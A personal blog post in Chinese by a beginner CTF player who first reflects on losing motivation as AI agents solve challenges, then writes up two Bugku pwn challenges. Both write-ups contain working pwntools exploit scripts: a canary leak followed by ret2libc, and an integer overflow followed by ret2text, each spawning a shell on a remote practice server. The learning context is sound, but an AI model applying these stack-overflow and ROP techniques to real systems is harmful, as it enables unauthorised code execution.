歧路慢慢
说实话,在这个被各种大模型冲击刺激的环境下,认真做事的人很容易就失去动力,因为,当别人都在agent的时候,你不用,那你就等着被ai这个大运创飞,这是我目前的感受,我也不是纯手搓的人,但每次想要手搓时,就会发现,以目前所掌握的技能或者说所拥有的知识,根本就不足以解出哪些为了防ai再加强的题目,对此,我感到很沮丧,我不想被ai奴役,探姬师傅说的其实很对,你不可能因为agent发展成这样,就要求别人不用,这就像我以前看见的一篇文章:DDT。
虽然要将两者放在一起谈很不对,但事实就是,ai太好用了它很取代很多我们人工的工作,甚至时代替我们去做题,就像之前krauq师傅说的那样,当ai拿到这个ctf的世界第一后,那我们所作的还有意义吗? 其实之前我还没有在意这些事情,只想着做好自己的事就好了,但,当isctf过去后,参加的unictf,shctf,长城杯,suctf,打的比赛越多,越能感受到自己的渺小,我才大一,去年7月接触的ctf,当时的决定是一时兴起的,但我也坚持到现在了,做的越多,学的越多,就会感觉到自己其实到头来什么也不会,完全失去了动力。
我不想说是ai毁了ctf,毕竟我才学习没多久,打的比赛也没多少,但是就最近的心境来看,我已经有了想要退出的想法了。

感觉这么fw的我只配滚回去玩游戏了。
哎。
说实话,现在的心态就是这样悲观。我也不知道怎么调整,没招了。
这篇文章最主要的目的也就是给大家说一下最近的学习状态吧,以及我有一个转换学习思路的办法,说是办法其实也只是一个待尝试的想法,也不知道有没有效果。
我感觉我得自己ban自己的ai了,也不要想着什么边学习边用,直接ban,古法做题做一段时间,能寻求的帮助只有互联网以及wp,学长和ai什么的全ban。
一.bugku_pwn_canary2
这一题我的初步思路就是ret2libc。

根据在ida里面的字符串搜索,我们找不到其他能直接使用的东西,函数部分也不存在什么后门函数。
所以猜测大概率是ret2libc。

通过在虚拟机里面进行信息搜集可以发现不需要绕pie,也就意味着可以直接使用静态地址,然后存在canary金丝雀,说明需要进行一个canary绕过的办法。

看ida中的main函数,我们可以发现一个是三个输入,一个是name,一个是introduce,还有一个就是say,其中,name的输入无关紧要,直接随便输入就行,关键是后面的两个输入。
通过对stack观察,还有在pwndbg中调试,我们可以找到canary的位置。


可以找到canary应该就是这个rbp上面那个-008的位置,即0x18。从buf的输入到canary。
思路健全了但我其实是不会写代码的,所以花了5金币直接买了wp开始分析,怎么写代码。
首先就是正常的加载程序以及为后面的编程创造便捷的条件。
from pwn import * #引入pwntools
context(log_level='debug', os='linux', arch='amd64') #定义系统和模式,测试,linux,64位
p = remote('171.80.2.169', 14698) #远程环境elf = ELF('./pwn')libc = ELF('./libc-2.27.so') #将两个文件以可执行的二进制文件进行加载之后就是基本信息的提取。
rop = ROP(elf)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]ret = rop.find_gadget(['ret'])[0]这个写法其实我也不太懂,按我自己的大致理解就是将rop已经设置好为加载二进制程序,然后直接寻找ROPgadget的工具调用寻找pop rdi,ret和ret的位置,如果是我自己写,应该就是直接调用ROPgadget寻找函数的硬编码地址,然后赋值在代码中,这边在代码的直接调用,还是我第一次见,稍微查了一下,当ROP(elf)后,程序的gadget就已经有了,后面的find_gadget就只是在缓存的gadget里面寻找我们要的地址。
这个变就是常用的两个地址,一个pop rdi,ret,rop链必备,ret是用来栈对齐的,有什么system函数要求8字节,我其实是不太懂这些的。
p.recvuntil(b"Enter your name: ")p.sendline(b"gogogo")
p.recvuntil(b"Introduce yourself: ")payload1 = b"A" * 24p.sendline(payload1)p.recvuntil(payload1)leaked_canary = u64(p.recv(8).ljust(8, b'\x00')) - 0xalog.success(f"canary = {hex(leaked_canary)}")这边就是进行canary的泄露,通过构造padding字节填充,然后读取。
说实话,我有手操测试一番,24个a和25个a,十分明显,25个a就将canary的末尾字节填为了a,0x61.
u64就是将数据转换了64为小端序,用recv(8)就是只读8字节的数据,如果不够用后面的ljust补充0到8字节,后面之所以-0xa,因为sendline会在后面自动加\n,即换行,所以.0xa。
读取canary的目的就是为了防止后面如果canary跟原来的不一样,会报错直接退出。
p.recvuntil(b"Say something: ")payload2 = b"A" * 24payload2 += p64(leaked_canary)payload2 += p64(0)payload2 += p64(pop_rdi)payload2 += p64(elf.got['puts'])payload2 += p64(elf.plt['puts'])payload2 += p64(elf.sym['main'])p.send(payload2)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))这边就是第一个rop链了,用pop rdi,ret将puts在got表中的地址塞入寄存器中,然后用puts函数读出地址,最后回到main函数,完成实际puts函数地址的泄露,然后就可以用来计算libc在程序的基地址。
libc_base = puts_addr - libc.sym['puts']system = libc_base + libc.sym['system']binsh = libc_base + next(libc.search(b"/bin/sh"))
log.success(f"libc_base = {hex(libc_base)}")log.success(f"system = {hex(system)}")log.success(f"binsh = {hex(binsh)}")
p.recvuntil(b"Enter your name: ")p.sendline(b"gogogo")
p.recvuntil(b"Introduce yourself: ")p.sendline(b"A" * 24)
p.recvuntil(b"Say something: ")
payload_final = b"A" * 24payload_final += p64(leaked_canary)payload_final += p64(0)payload_final += p64(ret)payload_final += p64(pop_rdi)payload_final += p64(binsh)payload_final += p64(system)
log.info("sending final payload")p.send(payload_final)有了libc的基础地址,就可以利用libc函数的偏移和libc基址计算system和/bin/sh的偏移地址了,然后就用rop链打入程序内部得到shell。
反省:由于看视频和研究过几次的pwn ret2libc,思路是完全正确的,现在就差代码,这个代码,我实在是有很多写法不太懂所以,现在也只能以学习的态度来看,争取以后能手搓。
积累:
64位地址获取
leaked_canary = u64(p.recv(8).ljust(8, b'\x00')) - 0xa当存在sendline的发送数据,需要用-0xa的方法消除获取地址的污染64位的程序地址位8字节,ljust就是用来补足地址的。利用elf直接加载函数
payload2 += p64(elf.got['puts']) #加载函数在got表中的解析真实地址payload2 += p64(elf.plt['puts']) #plt都是函数(目前理解)payload2 += p64(elf.sym['main']) #sym是寻找符号的意思把pwntools中gadget使用
rop = ROP(elf) #加载roppop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] #find_gadget寻找对应一小段指令的地址ret = rop.find_gadget(['ret'])[0]二.bugku_pwn_Easy_int

根据ida初步分析程序,为整数溢出,加rop。

通过整数溢出到负数进入vuln函数。



ret2text,将bin/sh参数传给system函数完成调用系统,获得shell。
现在关键在于如何构造整数溢出。
因为在64位机器中这个整数能储存的最大值为2的31次方-1,如果我们输入2的31次方,就溢出成负数。
所以先输入2的31次方进入vuln函数,在通过栈溢出,构造rop链:padding+pop_rdi+binsh+system。
依旧是代码问题。
先尝试分部分写出。
ok,还行,手搓出来了。
from pwn import *context=(log_level="debug",os="linux",arch="amd64")
p=remote('171.80.2.169',15203)elf=ELF(./pwn)
system=elf.plt['system']binsh=next(elf.search(b'/bin/sh'))
rop=ROP(elf)pop_rdi=rop.find_gadget(['pop rdi','ret']).address
a=2b=pow(2,31) #str(pow(2, 31)).encode()
offset=0x28
p.recvuntil(b"Input your int:")p.send(b)
p.recvuntil(b"Congratulations!")payload= b'a' *offset+p64(pop_rdi)+p64(binsh)+p64(system)
p.send(payload)p.interactive()唯一不对的就是这个我直接传输2的31次方不对,要转换为字节流。
积累:
整数溢出传输的是字节流
str(pow(2, 31)).encode() 2的31次方字节流2026.03.16
- 版权声明:本文由 余林阳 创作,转载请注明出处。
喜欢这篇文章吗?
点击右侧按钮为文章点赞,让更多人看到!
在下余林阳